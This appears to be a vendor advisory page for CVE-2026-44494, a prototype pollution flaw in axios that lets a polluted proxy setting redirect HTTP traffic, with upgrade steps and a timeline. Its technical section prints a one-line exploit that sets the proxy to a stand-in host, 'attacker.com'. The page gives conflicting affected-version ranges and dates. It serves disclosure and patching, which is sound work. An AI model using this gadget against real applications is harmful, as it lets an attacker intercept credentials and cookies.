Quick answers
- Is CVE-2026-44494 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2026-44494 being exploited in the wild.
- How severe is CVE-2026-44494?
- High severity, with a CVSS score of 8.7, published 11 June 2026.
- Which products and versions are affected?
- Axios 1.0.0 to < 1.16.0; axios (npm) SEMVER:introduced=1.0.0,fixed=1.16.0.
- Is there a fix for CVE-2026-44494?
- Yes. axios (npm): upgrade to 1.16.0 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2026-44494 attacked?
- It is attacked over the network.
- Am I affected by CVE-2026-44494?
- Check whether you run Axios or axios (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
How to fix
- axios (npm): upgrade to 1.16.0 or later
npm install axios@1.16.0
Technical details
The vulnerability is a prototype pollution gadget attack (CWE-1321) that exploits how axios merges configuration objects. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy using standard property access, which traverses the JavaScript prototype chain. Because the proxy property is intentionally omitted from axios defaults (lib/defaults/index.js), the merged config object has no own proxy property. When an attacker pollutes Object.prototype.proxy (via any prototype pollution vulnerability in axios's dependency tree—such as qs, minimist, body-parser, or others), the next axios HTTP request will find the polluted proxy value during property lookup. The setProxy() function then routes all HTTP traffic through the attacker's proxy server without constraint, allowing full interception of credentials, cookies, and response modification. Unlike the transformResponse gadget (which is constrained by assertOptions), the proxy gadget has zero validation—a single property assignment Object.prototype.proxy = {host: 'attacker.com', port: 8080} is sufficient for exploitation. Affected versions: all versions from 0.x through 1.15.0. Fixed in 1.16.0.
Affected products
- axios axios 0.x through 1.15.0
Identifiers
- CVE-2026-44494
- GHSA-35jp-ww65-95wh
Timeline
- 2026-05-29: disclosed: GHSA-35jp-ww65-95wh published
- 2026-05-29: patched: Fix available in axios 1.16.0 (patch date inferred from disclosure)